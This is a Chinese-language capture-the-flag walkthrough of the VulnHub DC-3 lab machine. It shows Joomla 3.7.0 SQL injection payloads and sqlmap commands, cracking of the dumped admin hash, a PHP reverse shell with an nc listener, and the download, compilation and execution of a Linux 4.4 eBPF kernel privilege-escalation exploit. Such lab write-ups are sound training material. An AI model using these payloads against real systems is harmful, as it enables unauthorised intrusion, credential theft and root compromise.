靶机渗透练习71-DC3
靶机描述
靶机地址:http://www.vulnhub.com/entry/dc-32,312/
Description
DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).
If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.
Technical Information
DC-3 is a VirtualBox VM built on Ubuntu 32 bit, so there should be no issues running it on most PCs.
Please note: There was an issue reported with DC-3 not working with VMware Workstation. To get around that, I recommend using VirtualBox, however, I have created a separate DC-3 VMware edition for those who can only use VMware.
It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.
Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go.
Important
While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.
In saying that, there shouldn't be any problems, but I feel the need to throw this out there just in case.
Contact
I'm also very interested in hearing how people go about solving these challenges, so if you're up for writing a walkthrough, please do so and send me a link, or alternatively, follow me on Twitter, and DM me (you can unfollow after you've DM'd me if you'd prefer).
I can be contacted via Twitter - @DCAU7
This works better with VirtualBox rather than VMware ## Changelog v3.2 - 2020-04-25 v3.0 - 2019-03-26
一、搭建靶机环境
攻击机Kali
:
IP地址:192.168.9.7
靶机
:
IP地址:192.168.9.69
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)
该靶机环境搭建如下
- 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
- 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only
二、实战
2.1网络扫描
2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l (指定网卡扫)
arp-scan -I eth0 -l
⬢ DC3 arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.7
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2 08:00:27:47:9c:8e PCS Systemtechnik GmbH
192.168.9.69 08:00:27:a8:90:da PCS Systemtechnik GmbH
2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.942 seconds (131.82 hosts/sec). 2 responded
方法二、masscan 扫描的网段 -p 扫描端口号
masscan 192.168.184.0/24 -p 80,22
方法三、netdiscover -i 网卡-r 网段
netdiscover -i eth0 -r 192.168.184.0/24
方法四、等你们补充
2.1.2 查看靶机开放的端口
使用nmap -A -sV -T4 -p- 靶机ip
查看靶机开放的端口
⬢ DC3 nmap -A -sV -T4 -p- 192.168.9.69
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-11 12:31 CST
Nmap scan report for 192.168.9.69
Host is up (0.00035s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:A8:90:DA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.35 ms 192.168.9.69
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.90 seconds
仅开放了80端口
同时发现了Joomla! - Open Source Content Managemen
CMS 是Joomla
2.2枚举漏洞
2.2.1 80 端口分析
这个页面来来回回看了下,并没有什么有用的信息
Google搜索一下这个CMS
主要是RCE漏洞,本地漏洞库搜一下:searchsploit Joomla
发现也有好多漏洞
由于不知道版本信息
这个时这个时候咱们再去github搜一下是否有相应的poc/exp或者工具啥的
这里就得经验选择了,看一下star跟update
下载扫描器Joomscan
然后拿刚下载的工具扫描一下看看
得到了版本为joomla 3.7.0
,同时还有几个目录,搜一搜他有什么漏洞
发现该版本存在SQL注入
2.3漏洞利用
2.3.1 SQL注入漏洞
kali本地搜索一下漏洞库:searchsploit Joomla 3.7.0
复制到本地查看一下内容
⬢ joomscan searchsploit -m php/webapps/42033.txt
Exploit: Joomla! 3.7.0 - 'com_fields' SQL Injection
URL: https://www.exploit-db.com/exploits/42033
Path: /usr/share/exploitdb/exploits/php/webapps/42033.txt
File Type: ASCII text
Copied to: /home/kali/vulnhub/DC/DC3/joomscan/42033.txt
⬢ joomscan cat 42033.txt
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)#
测试一下payload能用不
http://192.168.9.69/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
payload没问题,咱们接着根据提示咱们用sqlmap跑一下
sqlmap -u "http://192.168.9.69/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --risk 3 --level 5 -dbs
成功爆出数据库joomladb
下边就是一把梭了
sqlmap -u "http://192.168.9.69/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --risk 3 --level 5 -dbms=mysql -D joomladb -T “#__users” -C username,password --dump
Database: joomladb
Table: #__users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+
恩,还记得DC-1的密码加密方法吗?
这里先不急着去爆破,咱们去找找joomla的账户密码的加密方式
发现都是解释的一些md5之类的,这样咱们用kali自带的john
解密工具试试,能不能解密
john --wordlist=/usr/share/wordlists/rockyou.txt test
成功解出密码为snoopy
登录后发现,啥也没有
对了,前边用Joomscan
扫出了几个目录,其中就有一个管理员登录界面
访问:http://192.168.9.69/administrator/
这个应该就是该CMS的登录界面了
http://192.168.9.69/administrator/index.php?option=com_templates&view=templates
这个页面应该就是咱们访问80看到的界面了
点进去看看有些啥
很明显,这些文件都是可以更改的
也就是说,咱们可以试试新建一个test.php
看看
访问:http://192.168.9.69/templates/protostar/test.php
成功被解析,这样子,咱们新建一个反弹shell
kali本地监听:nc -lvp 6666
访问:http://192.168.9.69/templates/protostar/php-reverse-shell.php
⬢ DC3 nc -lvp 6666
listening on [any] 6666 ...
192.168.9.69: inverse host lookup failed: Unknown host
connect to [192.168.9.7] from (UNKNOWN) [192.168.9.69] 54950
Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
20:01:38 up 5:39, 0 users, load average: 0.10, 0.05, 0.09
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$
成功拿到shell
2.4权限提升
2.4.1 信息收集
切换至交互式shell
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
信息收集一波
www-data@DC-3:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@DC-3:/$ sudo -l
sudo -l
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
sudo: 3 incorrect password attempts
查询suid程序:find / -perm -u=s -type f 2>/dev/null
www-data@DC-3:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ping6
/bin/ntfs-3g
/bin/umount
/bin/su
/bin/fusermount
/bin/mount
/bin/ping
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/at
在https://gtfobins.github.io
查询无果
查看一下系统版本及内核版本
www-data@DC-3:/$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"
NAME="Ubuntu"
VERSION="16.04 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU_CODENAME=xenial
www-data@DC-3:/$
发现系统版本是ubuntu 16.04
及内核版本为4.4.0
咱们搜索ubuntu16.04版本存在的漏洞
这里咱们选择39772这个
查看39772.txt
这个文件内容
⬢ DC3 searchsploit -m linux/local/39772.txt
Exploit: Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation
URL: https://www.exploit-db.com/exploits/39772
Path: /usr/share/exploitdb/exploits/linux/local/39772.txt
File Type: C source, ASCII text
Copied to: /home/kali/vulnhub/DC/DC3/39772.txt
⬢ DC3 cat 39772.txt
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.
When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:
/* look for pseudo eBPF instructions that access map FDs and
* replace them with actual map pointers
*/
static int replace_map_fd_with_map_ptr(struct verifier_env *env)
{
struct bpf_insn *insn = env->prog->insnsi;
int insn_cnt = env->prog->len;
int i, j;
for (i = 0; i < insn_cnt; i++, insn++) {
[checks for bad instructions]
if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
struct bpf_map *map;
struct fd f;
[checks for bad instructions]
f = fdget(insn->imm);
map = __bpf_map_get(f);
if (IS_ERR(map)) {
verbose("fd %d is not pointing to valid bpf_map\n",
insn->imm);
fdput(f);
return PTR_ERR(map);
}
[...]
}
}
[...]
}
__bpf_map_get contains the following code:
/* if error is returned, fd is released.
* On success caller should complete fd access with matching fdput()
*/
struct bpf_map *__bpf_map_get(struct fd f)
{
if (!f.file)
return ERR_PTR(-EBADF);
if (f.file->f_op != &bpf_map_fops) {
fdput(f);
return ERR_PTR(-EINVAL);
}
return f.file->private_data;
}
The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.
A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.
One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.
There are two problems with this approach:
The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).
In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)
writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.
An exploit that puts all this together is in exploit.tar. Usage:
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
This exploit was tested on a Ubuntu 16.04 Desktop system.
Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7
Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip# ⬢ DC3
可以看到exp下载链接https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
下载下来,然后在当前目录下使用python快速建立HTTP服务(这个目录是在39772.zip的目录下)、
python -m http.server 80
然后在我们监听端口的终端进行下载39772.zip文件
wget http://192.168.9.7/39772.zip
然后解压该压缩包,进入39772目录下,有两个tar文件,这里咱们解压exploit.tar
文件
www-data@DC-3:/tmp$ ls
ls
39772
39772.zip
__MACOSX
systemd-private-e63aa7d53ffd477da274870cb3eb9e29-systemd-timesyncd.service-UYD8sD
www-data@DC-3:/tmp$ cd 39772
cd 39772
www-data@DC-3:/tmp/39772$ ls
ls
crasher.tar exploit.tar
www-data@DC-3:/tmp/39772$ tar -xvf exploit.tar
tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
www-data@DC-3:/tmp/39772$ tar -xvf crasher.tar
tar -xvf crasher.tar
ebpf_mapfd_doubleput_crasher/
ebpf_mapfd_doubleput_crasher/compile.sh
ebpf_mapfd_doubleput_crasher/doubleput.c
www-data@DC-3:/tmp/39772$ cd ebpf_mapfd_doubleput_exploit
cd ebpf_mapfd_doubleput_exploit
然后运行sh脚本就行,编译代码时会出现warning,可以忽略
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ compile.sh
compile.sh
compile.sh: command not found
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
^
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
ls
compile.sh doubleput doubleput.c hello hello.c suidhelper suidhelper.c
运行./doubleput
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
./doubleput
starting writev
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit#
成功提权
在root目录下拿到flag
root@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /root
cd /root
root@DC-3:/root# ls
ls
the-flag.txt
root@DC-3:/root# cat the-flag.txt
cat the-flag.txt
__ __ _ _ ____ _ _ _ _
\ \ / /__| | | | _ \ ___ _ __ ___| | | | |
\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
\ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_|
\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
Congratulations are in order. :-)
I hope you've enjoyed this challenge as I enjoyed making it.
If there are any ways that I can improve these little challenges,
please let me know.
As per usual, comments and complaints can be sent via Twitter to @DCAU7
Have a great day!!!!
root@DC-3:/root#
总结
本靶机通过信息收集,找到CMS的利用工具,通过工具拿到CMS版本号及相关目录,然后找到该版本的SQL注入漏洞,通过SQLmap跑出管理员账户密码,登录后台通过新建反弹shell来getshell,最后通过内核提权。
- 信息收集
- Joomscan的使用
- SQLmap的使用
- john的使用
- 内核漏洞提权